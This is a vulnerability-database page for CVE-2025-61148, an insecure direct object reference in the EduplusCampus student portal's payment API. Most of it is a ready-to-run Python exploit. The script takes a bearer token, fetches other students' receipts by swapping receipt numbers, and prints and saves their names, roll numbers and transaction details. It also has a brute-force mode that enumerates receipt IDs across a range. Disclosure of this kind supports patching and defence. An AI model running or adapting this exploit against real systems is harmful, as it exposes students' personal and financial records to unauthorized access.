Lucene search
K

๐Ÿ“„ EduplusCampus Student Portal 3.0.1 Insecure Direct Object Reference

๐Ÿ—“๏ธย 12 Dec 2025ย 00:00:00Reported byย indoushkaTypeย 
packetstorm
ย packetstorm
๐Ÿ”—ย packetstorm.news๐Ÿ‘ย 139ย Views

EduplusCampus Payment API 3.0.1 has IDOR allowing authenticated users to access other students' data.

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2025-61148
3 Dec 202505:21
โ€“circl
CNNVD
EduplusCampus ๅฎ‰ๅ…จๆผๆดž
4 Dec 202500:00
โ€“cnnvd
CVE
CVE-2025-61148
4 Dec 202500:00
โ€“cve
Cvelist
CVE-2025-61148
4 Dec 202500:00
โ€“cvelist
EUVD
EUVD-2025-201212
4 Dec 202500:00
โ€“euvd
NVD
CVE-2025-61148
4 Dec 202516:16
โ€“nvd
OSV
CVE-2025-61148
4 Dec 202516:16
โ€“osv
Packet Storm
๐Ÿ“„ EduplusCampus 3.0.1 Insecure Direct Object Reference
3 Dec 202500:00
โ€“packetstorm
Positive Technologies
PT-2025-49097
4 Dec 202500:00
โ€“ptsecurity
RedhatCVE
CVE-2025-61148
11 Dec 202505:03
โ€“redhatcve
Rows per page
=============================================================================================================================================
    | # Title     : EduplusCampus student portal v 3.0.1 Broken Access Control                                                                  |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
    | # Vendor    : https://www.edupluscampus.com                                                                                               |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/211727/
    
    [+] Summary : Insecure Direct Object Reference (IDOR) vulnerability in EduplusCampus Student Payment API (version 3.0.1) 
                  that allows authenticated users to access other students' sensitive financial and personal information without proper authorization.
    			  
    			  
    [+]  POC : 
    
    #!/usr/bin/env python3
    """
    Proof of Concept: CVE-2025-61148
    IDOR Vulnerability in EduplusCampus Student Payment API
    Author: indoushka
    """
    
    import requests
    import json
    import sys
    import argparse
    from colorama import Fore, Style, init
    
    # Initialize colorama for colored output
    init(autoreset=True)
    
    class CVE202561148_POC:
        def __init__(self, base_url, auth_token):
            self.base_url = base_url.rstrip('/')
            self.headers = {
                'Authorization': f'Bearer {auth_token}',
                'Content-Type': 'application/json',
                'User-Agent': 'Mozilla/5.0 (Security-Test)'
            }
            
        def print_banner(self):
            """Display vulnerability banner"""
            banner = f"""
    {Fore.RED}โ•”โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•—
    โ•‘    CVE-2025-61148: IDOR Vulnerability POC                โ•‘
    โ•‘    EduplusCampus Student Payment API                     โ•‘
    โ•šโ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•{Style.RESET_ALL}
            """
            print(banner)
        
        def test_idor(self, original_rec_no, target_rec_no):
            """Test IDOR vulnerability by modifying rec_no parameter"""
            endpoint = f"{self.base_url}/student/get-receipt"
            
            # Original request (authorized)
            original_data = {
                "rec_no": original_rec_no
            }
            
            # Malicious request (unauthorized access attempt)
            malicious_data = {
                "rec_no": target_rec_no
            }
            
            print(f"{Fore.CYAN}[*] Testing IDOR vulnerability...{Style.RESET_ALL}")
            print(f"{Fore.YELLOW}[+] Original receipt number: {original_rec_no}{Style.RESET_ALL}")
            print(f"{Fore.YELLOW}[+] Target receipt number: {target_rec_no}{Style.RESET_ALL}")
            
            try:
                # Test with original receipt number
                print(f"\n{Fore.WHITE}[1] Sending request for authorized receipt...{Style.RESET_ALL}")
                resp_original = requests.post(
                    endpoint,
                    headers=self.headers,
                    json=original_data,
                    timeout=30
                )
                
                # Test with target receipt number
                print(f"{Fore.WHITE}[2] Sending request for target receipt (IDOR test)...{Style.RESET_ALL}")
                resp_target = requests.post(
                    endpoint,
                    headers=self.headers,
                    json=malicious_data,
                    timeout=30
                )
                
                # Analyze responses
                self.analyze_responses(resp_original, resp_target)
                
            except requests.exceptions.RequestException as e:
                print(f"{Fore.RED}[-] Request failed: {str(e)}{Style.RESET_ALL}")
                return False
                
        def analyze_responses(self, resp_original, resp_target):
            """Analyze and compare the responses"""
            print(f"\n{Fore.CYAN}[*] Response Analysis:{Style.RESET_ALL}")
            print(f"{'='*60}")
            
            # Original response
            print(f"{Fore.GREEN}[+] Original Request (Authorized):{Style.RESET_ALL}")
            print(f"    Status Code: {resp_original.status_code}")
            if resp_original.status_code == 200:
                try:
                    data = resp_original.json()
                    print(f"    Response Length: {len(resp_original.text)} characters")
                    if 'fullname' in data:
                        print(f"    Contains PII: {Fore.RED}YES{Style.RESET_ALL}")
                except:
                    print(f"    Response: {resp_original.text[:100]}...")
            
            # Target response
            print(f"\n{Fore.RED}[+] Target Request (Unauthorized):{Style.RESET_ALL}")
            print(f"    Status Code: {resp_target.status_code}")
            
            if resp_target.status_code == 200:
                try:
                    data = resp_target.json()
                    print(f"    Response Length: {len(resp_target.text)} characters")
                    
                    # Check if vulnerable
                    if 'fullname' in data or 'rollno' in data:
                        print(f"{Fore.RED}[!] VULNERABLE - Successfully accessed other user's data!{Style.RESET_ALL}")
                        print(f"\n{Fore.YELLOW}[*] Exposed Information:{Style.RESET_ALL}")
                        
                        # Display sensitive data (redacted for safety)
                        sensitive_keys = ['fullname', 'rollno', 'component_total_amount', 
                                        'trans_list', 'tid', 'date', 'amount']
                        
                        for key in sensitive_keys:
                            if key in str(data):
                                if key == 'fullname':
                                    print(f"    โ€ข Full Name: {Fore.RED}[REDACTED]{Style.RESET_ALL}")
                                elif key == 'rollno':
                                    print(f"    โ€ข Roll Number: {data.get('rollno', 'N/A')}")
                                elif key == 'component_total_amount':
                                    print(f"    โ€ข Payment Amount: {data.get('component_total_amount', 'N/A')}")
                                elif key == 'trans_list':
                                    transactions = data.get('trans_list', [])
                                    if transactions:
                                        print(f"    โ€ข Transaction Details:")
                                        for trans in transactions:
                                            print(f"      - Date: {trans.get('date', 'N/A')}")
                                            print(f"      - Amount: {trans.get('amount', 'N/A')}")
                                            print(f"      - TID: {trans.get('tid', 'N/A')}")
                    
                        # Save proof
                        self.save_proof(data)
                        
                except json.JSONDecodeError:
                    print(f"    Response: {resp_target.text[:200]}...")
                    if len(resp_target.text) > 100:
                        print(f"{Fore.RED}[!] Potential vulnerability detected!{Style.RESET_ALL}")
            else:
                print(f"    Response: {resp_target.text[:100]}...")
        
        def save_proof(self, data):
            """Save proof of concept results"""
            filename = f"idor_proof_cve_2025_61148.json"
            with open(filename, 'w') as f:
                json.dump(data, f, indent=2)
            print(f"\n{Fore.GREEN}[+] Proof saved to: {filename}{Style.RESET_ALL}")
        
        def brute_force_receipts(self, prefix="PCUF-", start=231800, end=232100):
            """Attempt to discover valid receipt numbers"""
            print(f"\n{Fore.CYAN}[*] Brute-forcing receipt numbers...{Style.RESET_ALL}")
            print(f"    Range: {prefix}{start} to {prefix}{end}")
            
            found_receipts = []
            endpoint = f"{self.base_url}/student/get-receipt"
            
            for i in range(start, end + 1):
                rec_no = f"{prefix}{i}"
                
                data = {"rec_no": rec_no}
                
                try:
                    resp = requests.post(
                        endpoint,
                        headers=self.headers,
                        json=data,
                        timeout=10
                    )
                    
                    if resp.status_code == 200:
                        print(f"{Fore.GREEN}[+] Found valid receipt: {rec_no}{Style.RESET_ALL}")
                        found_receipts.append(rec_no)
                        
                        # Quick analysis
                        try:
                            resp_data = resp.json()
                            if 'fullname' in resp_data:
                                print(f"    Contains PII: YES")
                        except:
                            pass
                            
                except requests.exceptions.RequestException:
                    continue
            
            return found_receipts
    
    def main():
        parser = argparse.ArgumentParser(
            description="CVE-2025-61148: IDOR Vulnerability POC for EduplusCampus",
            formatter_class=argparse.RawDescriptionHelpFormatter
        )
        
        parser.add_argument("-u", "--url", required=True, help="Base URL (e.g., https://student.edupluscampus.com)")
        parser.add_argument("-t", "--token", required=True, help="Bearer token for authentication")
        parser.add_argument("-o", "--original", help="Original receipt number (authorized)")
        parser.add_argument("-T", "--target", help="Target receipt number to test")
        parser.add_argument("-b", "--bruteforce", action="store_true", help="Enable brute-force mode")
        parser.add_argument("-p", "--prefix", default="PCUF-", help="Receipt number prefix for brute-force")
        
        args = parser.parse_args()
        
        # Initialize POC
        poc = CVE202561148_POC(args.url, args.token)
        poc.print_banner()
        
        print(f"{Fore.CYAN}[*] Target: {args.url}{Style.RESET_ALL}")
        print(f"{Fore.CYAN}[*] Authentication token provided: {'*' * 20}{Style.RESET_ALL}")
        
        if args.bruteforce:
            # Brute-force mode
            print(f"\n{Fore.YELLOW}[!] Starting brute-force attack...{Style.RESET_ALL}")
            found = poc.brute_force_receipts(prefix=args.prefix)
            
            if found:
                print(f"\n{Fore.GREEN}[+] Found {len(found)} valid receipt numbers{Style.RESET_ALL}")
                for receipt in found:
                    print(f"    โ€ข {receipt}")
            else:
                print(f"{Fore.RED}[-] No valid receipt numbers found in the range{Style.RESET_ALL}")
        
        elif args.original and args.target:
            # Specific test mode
            poc.test_idor(args.original, args.target)
        
        else:
            print(f"{Fore.YELLOW}[!] Usage examples:{Style.RESET_ALL}")
            print(f"    Specific test: python poc.py -u https://target.com -t YOUR_TOKEN -o PCUF-232025 -T PCUF-231824")
            print(f"    Brute-force: python poc.py -u https://target.com -t YOUR_TOKEN -b")
            print(f"\n{Fore.RED}[!] WARNING: Use only on authorized systems!{Style.RESET_ALL}")
    
    if __name__ == "__main__":
        main()
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation withย Vulners data

Weย provide theย essential building blocks forย cybersecurity solutions withย comprehensive, structured, andย constantly updated vulnerability andย exploits data

Api

Power your application withย Vulners API

The Vulners REST API offers reliable, high-performance access toย vulnerabilityย intelligence, withย 99.9%ย SLAย uptime andย CDN-backed data delivery forย seamlessย global access

App

Assess and manage vulnerabilities withย Vulnersย tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

12 Dec 2025 00:00Current
7High risk
Vulners AI Score7
CVSS 3.16.5
EPSS0.00297
SSVC
139